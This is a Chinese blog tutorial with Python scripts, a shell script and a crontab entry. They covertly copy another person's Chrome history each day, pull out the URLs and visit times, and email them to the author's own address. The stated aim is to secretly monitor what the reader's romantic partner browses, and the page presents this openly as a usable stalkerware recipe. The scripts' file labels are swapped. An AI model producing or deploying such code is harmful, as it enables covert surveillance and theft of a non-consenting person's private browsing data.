Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python pickle模块用法实例
Apr 14 Python
Python中title()方法的使用简介
May 20 Python
python获得一个月有多少天的方法
Jun 04 Python
教你用Type Hint提高Python程序开发效率
Aug 08 Python
apache部署python程序出现503错误的解决方法
Jul 24 Python
Python Paramiko模块的使用实际案例
Feb 01 Python
Python 判断奇数偶数的方法
Dec 20 Python
Python多线程同步---文件读写控制方法
Feb 12 Python
PyCharm中如何直接使用Anaconda已安装的库
May 28 Python
Python魔术方法专题
Jun 19 Python
Python 中random 库的详细使用
Jun 03 Python
Python答题卡识别并给出分数的实现代码
Jun 22 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
php whois查询API制作方法
2011/06/23 PHP
PHP程序开发范例学习之表单 获取文本框的值
2011/08/08 PHP
详解PHP内置访问资源的超时时间 time_out file_get_contents read_file
2013/06/03 PHP
php的ajax简单实例
2014/02/27 PHP
JavaScript写的一个DIV 弹出网页对话框
2009/08/14 Javascript
javascript调试说明
2010/06/07 Javascript
验证javascript中Object和Function的关系的三段简单代码
2010/06/27 Javascript
Vue.js基础知识汇总
2016/04/27 Javascript
Bootstrap的Refresh Icon也spin起来
2016/07/13 Javascript
JS冒泡事件与事件捕获实例详解
2016/11/25 Javascript
bootstrap table实例详解
2017/01/06 Javascript
JavaScript表单验证完美代码
2017/03/02 Javascript
Vue2.0父组件与子组件之间的事件发射与接收实例代码
2017/09/19 Javascript
使用store来优化React组件的方法
2017/10/23 Javascript
微信小程序wx.request实现后台数据交互功能分析
2017/11/25 Javascript
浅谈Angular 的变化检测的方法
2018/03/01 Javascript
layui table设置前台过滤转义等方法
2018/08/17 Javascript
JavaScript数组方法的错误使用例子
2018/09/13 Javascript
Vue-Quill-Editor富文本编辑器的使用教程
2018/09/21 Javascript
如何用JavaScript实现功能齐全的单链表详解
2019/02/11 Javascript
vue源码中的检测方法的实现
2019/09/26 Javascript
Python中利用sorted()函数排序的简单教程
2015/04/27 Python
Python中unittest模块做UT(单元测试)使用实例
2015/06/12 Python
python 实现简单的FTP程序
2019/12/27 Python
Python re正则表达式元字符分组()用法分享
2020/02/10 Python
将数据集制作成VOC数据集格式的实例
2020/02/17 Python
python使用多线程+socket实现端口扫描
2020/05/28 Python
使用css3实现的windows8开机加载动画
2014/12/09 HTML / CSS
微软马来西亚官方网站:Microsoft马来西亚
2019/11/22 全球购物
索引覆盖(Index Covering)查询含义
2012/02/18 面试题
2014自荐信的写作技巧
2014/01/28 职场文书
上课迟到检讨书
2014/02/19 职场文书
继承权公证书
2014/04/09 职场文书
高考升学宴答谢词
2015/01/20 职场文书
教育读书笔记
2015/07/02 职场文书
Pytorch distributed 多卡并行载入模型操作
2021/06/05 Python